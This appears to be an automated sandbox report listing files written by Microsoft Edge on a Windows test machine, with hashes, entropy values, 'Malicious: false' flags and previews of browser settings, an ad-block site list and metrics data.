C:\Users\user\AppData\Local\Microsoft\Edge\User Data\39e6fa59-8a7e-42ee-a2b5-d43a738ebc9f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	8094
Entropy (8bit):	5.802219635284918
Encrypted:	false
SSDEEP:	192:asNALx9eiRUJfQGkYO6qRAq1k8SPxVLZ7VTiq:asNAtt04VYO6q3QxVNZTiq
MD5:	ADF8E147E1102F4DDA9A8BA1730C4FF4
SHA1:	D674618C7910CAE46AFC157B6A079FA31C929706
SHA-256:	04509699A1545D2C18E4760D8629F1096FFF45F7EED5CB773C34E652DB4BCB7B
SHA-512:	2A8F432B91DFEBD8D17C5FFE9E152061DF9FDA52633A9AB89D9B6D425C932441743BA85ED09A13197989D1D626B0079831025752957B9F353F03A1826075058F
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4ba1189b-7d3e-4a4e-90b7-dc4e7d150744.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8094
Entropy (8bit):	5.802219635284918
Encrypted:	false
SSDEEP:	192:asNALx9eiRUJfQGkYO6qRAq1k8SPxVLZ7VTiq:asNAtt04VYO6q3QxVNZTiq
MD5:	ADF8E147E1102F4DDA9A8BA1730C4FF4
SHA1:	D674618C7910CAE46AFC157B6A079FA31C929706
SHA-256:	04509699A1545D2C18E4760D8629F1096FFF45F7EED5CB773C34E652DB4BCB7B
SHA-512:	2A8F432B91DFEBD8D17C5FFE9E152061DF9FDA52633A9AB89D9B6D425C932441743BA85ED09A13197989D1D626B0079831025752957B9F353F03A1826075058F
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5b91c917-35ca-4cce-8443-f6568401657f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22936
Entropy (8bit):	6.045929085939663
Encrypted:	false
SSDEEP:	384:btMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwh4oQpt883YdC/hAP8SylvHJPdud:RMkbJrT8IeQc5d1WoQv883YdyAelvpVQ
MD5:	DD1A1001BDCDBE994AE7FBCFC90EBE29
SHA1:	0F7A7935E819146DD8D795BCA42C2FE07D9772EA
SHA-256:	454AD05275FB1DE6771CC311C0E787A44AA52B5A53945EAF9C49CB707802953F
SHA-512:	0265F39F1517AAA7BF0179BFA79A28EF040E55AC5805ECAAA17B5BF7C3DF93F05302343D60053E845CE99D796E44B57F7A424DC5059D35A2DB20BDB5D010B037
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378835660794183","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734362064"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\78827078-2e8f-4dc7-a65b-09ca00e6b578.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25064
Entropy (8bit):	6.029999652658566
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQc5O1WoQv8//wE3YdyAelvpVQ:RMk1rT8Hm1WoQcw7yAelo
MD5:	023118F25FD8ADF2C0B3BEC21486F9BD
SHA1:	405BE3EB47367DE7A1ABFBBA97CC9A0D8E3B2B2B
SHA-256:	B94DBA916D59D1473427ECD382F09B342A4EF824AFBC0A03B3D4E4B9CFDBECD8
SHA-512:	30E03712B8B8C092ACC4EBABB08BBFBF3CEBBFC3B0D047DB8685A121FE2C7957F069A2E3E7C5C59C265EDF14BC1FCDA68E5A273AF4E1B8A8BEC96D1F796CF3E0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378835660794183","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734362064"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\78af5413-bb2e-4f86-8ab9-999691ef7951.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23962
Entropy (8bit):	6.048270212611343
Encrypted:	false
SSDEEP:	384:btMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwh4oQps19RY4lC/hAP8SylvHJPdux:RMkbJrT8IeQc5d1WoQS19RY4lyAelvpc
MD5:	CCC1B2EF3D3F4441B997B5CA9485A5CC
SHA1:	A9CD1DFBD046B4507596291C5C2D6FE8A44DF6F1
SHA-256:	CDF12B71FDACA8D7C1DEDEADE81A77AF1E92A7F2E5771458343FA3D38751E660
SHA-512:	023DB709E4FF9752BBD64A26903648115A5196FA10685BDE69C802FD4A5FA812B15E30ADDCEBF4582236E81196A29B6E69E44FDB5860C0FD906F14941A3734D5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378835660794183","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734362064"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\7ce8ffc9-b6df-4b05-b790-949d9ebb41d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676043CA-1EC0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.03996233315651485
Encrypted:	false
SSDEEP:	192:vi+01utmqvDDKX7OJvyqlBqfr3nXgXXVOD5Dhy6NE7I1deRQMtzoRyn8y08Tcm2D:j0EtnSQGhBiwGtWy08T2RGOD
MD5:	E09921FD20A32DCE25FC1EF07445C010
SHA1:	57FA1E2DC3917B6718346AE8D40BC55BFF1589B6
SHA-256:	399FB2A8BD0752755B447ECC6259395B0E63FE09F73B0F7B088CD9D203EEA269
SHA-512:	9DEE019A4D4E96A51D8093369A86D40C7AC7EB9895B70F0B22F18612423BB91EE8175C666EEA40B9D76483AD8F69C2E4FB5CEDB271922689A585F7DB143C563D
Malicious:	false
Preview:	...@..@...@.....C.].....@................a..HQ..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....i.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".pouhqy20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..Uu.$r.>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676043CB-1FE0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.43359718753290405
Encrypted:	false
SSDEEP:	6144:/k+DFSBhMZ1GTaHtwLHdgzoVqSObqaHZX:Rau1GeEHsbp
MD5:	7B7956F3FF1375E9234AD29B6621ABD6
SHA1:	1423F792AAF972A40C3B080B8ABD90C1124D05A8
SHA-256:	7D42CA04FA3A42B0468D7BDA56D079F98490ED03655634C469A3EED987ABD7FC
SHA-512:	941E64035FAB8B43E58F8A3C11E9BCD3278BAF4148BF82F1FEACE5B4AF38159424774ED01F91A6C1E2EBB06EE9C59DC881F7AD73F5EF7945F621189ABEF3A8D2
Malicious:	false
Preview:	...@..@...@.....C.].....@...................h...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....m.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".pouhqy20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U?:K.u.$r.>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDependency.....triggered....(..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676043D8-21F8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.03925386493023662
Encrypted:	false
SSDEEP:	192:/iY0EbtmqvDEKXWJEaIX1gzNg7X9CQ0Ug8vYhgQNlAOL1gQM2BLdn8y08Tcm2RGY:d0EtkeHqipshZfRgaB508T2RGOD
MD5:	956C3B2C3BD9954B2556FB21233964F4
SHA1:	C8032C48A4F103F8B57D301D2C745C9E333FDD38
SHA-256:	58A0BD0C6DC21F033ED464F545756EDA6A5F78386FA18D57AE4970081A1558AB
SHA-512:	09B5B4C18237F3F5261B4DF766824FFE71A760DF8FC2D0D68665C8383B6C81D0AF7D4E5DAC3595865A8EA895070430ADB5944F0FC4419B668A90E46B8EFC8973
Malicious:	false
Preview:	...@..@...@.....C.].....@...............X_...O..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....i.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".pouhqy20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..Uu.$r.>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676043DC-2424.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.040103835952295025
Encrypted:	false
SSDEEP:	192:UA0EbtmqvD3KX7GJEa3Xxx7uqZGXPtg34khtbNE3pgjK1gQ8zev+n8y08Tcm2RGY:D0EtDe18xphlzKgHe208T2RGOD
MD5:	4BB3C43B3784744E665F5FBA31E03AE0
SHA1:	2D3095714A5116CEF81C2361E4FAB17E87BDDAE8
SHA-256:	66D711A5A700FD8C5666A330146DAE622417476D8F228ADD99EF7CFF7105DE2F
SHA-512:	682D79885829F0CC8D44CCD01A47EA510519586AC662A394959F2EB120C9F29F31289287D48C5CA3B3BC38C7CF159751E2455F42C2B28B795EF9A0370DA66E06
Malicious:	false
Preview:	...@..@...@.....C.].....@................`..8P..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".pouhqy20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...........................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676043E5-2644.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.03985201847632621
Encrypted:	false
SSDEEP:	192:9s0EbtmqvD3KX78RJEa3Xxx7uqZGXPtg34khtbNE3nnI1gQMKPouDn8y08Tcm2Rl:K0EtTe18xphlCggGPD08T2RGOD
MD5:	5152CEC10FE2A493BBCBA01496065671
SHA1:	D8558663FFE752A50D1F1F9553BD78939001A827
SHA-256:	21B1ADFF29DF2CB8D718BAAF58841E42E8503EA75255AD8A9FC881E4DDE5BD25
SHA-512:	73F1095E67472964AE8626139A661C38213B628BF18ED5E804EC10B40747AA7C0EEC8A3DC9761945BD93509BEAC085C94F02B4690270DC120D849371409BAFD6
Malicious:	false
Preview:	...@..@...@.....C.].....@................`...O..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....q.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".pouhqy20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...........................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3553968406659012
Encrypted:	false
SSDEEP:	12:biUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:bFRqxosU8xWMk8xVZ4YWI30otWn
MD5:	CFAB81B800EDABACBF6CB61AA78D5258
SHA1:	2730D4DA1BE7238D701DC84EB708A064B8D1CF27
SHA-256:	452A5479B9A2E03612576C30D30E6F51F51274CD30EF576EA1E71D20C657376F
SHA-512:	EC188B0EE4D3DAABC26799B34EE471BEE988BDD7CEB011ED7DF3D4CF26F98932BBBB4B70DC2B7FD4DF9A3981B3CE22F4B5BE4A0DB97514D526E521575EFB2EC6
Malicious:	false
Preview:	...@.@...@..............@...................................`... ...i.y.........CrashpadMetrics.....i.y..Yd.h.......A.......e............,.........W.......................W....................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.UsedPct.......h...i.y.[".................................!...&...+...0...6...;...@...E...K...P...U...Z...`...e...........i.y..Yd.........A............................E.[4.f..................E.[4.f.................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.Errors............i.y..Yd.........A..................._..-`....h-.....................h-....................Crashpad.HandlerLifetimeMilestone.......0...i.y.[".........................................i.y..Yd.@.......C...........................VM....],................WM....],................Stability.BrowserExitCodes...... ...i.y......VM....],........H...i.y.1U!S............................................................ ...i.y...0...WM....],........................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.051141892342046
Encrypted:	false
SSDEEP:	3:FiWWltl/9UgBVP/Sh/JzvLi2RRIxINXj12tll:o1//BVsJDG2YqCX
MD5:	0E7D6A6182C1D335B1771C6875526753
SHA1:	FC33DB69F45C332345E79DE7648A9E8D8C026507
SHA-256:	F5F0335CD18CDFF2B6DEAA942B958D7F5A2948CADE4D1FAAFDC3C7264F652E29
SHA-512:	A88DE7AF4DA2575F1A6FEC2E553E0498DB3ED9AEC0AFBE9DC7BF2853F799E9B83FC17837BB6BAFA21528D4CB654F61EFD53A232AC3C11EC71F241809B800EB5F
Malicious:	false
Preview:	sdPC......................5.y&.K.?....................................................................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................48ea0ba2-e9bb-4568-92cb-0f42a5c5d505............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\32dc984a-debe-403e-8b13-d5590d7a43a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	39660
Entropy (8bit):	5.562675961132489
Encrypted:	false
SSDEEP:	768:Z6s9I77pLGLhP1WPK8fqG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVrLkrv3Urw9obDg:Z6s9INchP1WPK8fqGu1jaGLkj3N9o1MH
MD5:	2B7F1B8FF653FDF7F09D6F163E9CE1C2
SHA1:	57A1B9438ADC2FA41ED7AC9DC509479EA792DF69
SHA-256:	D5E74285CFA468166E53D5D1418013F0A0E8B9D4D43E3EBABBFF0F164F375A32
SHA-512:	95AE96E1F5FF6A300727318127009EF5B6F3770F8CF914D57D3C7204189BBEC562BE89A0B3A575BDB73A3B34014A5A7675D29780837B143E714E754E952E3FEA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378835659899765","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378835659899765","location":5,"ma

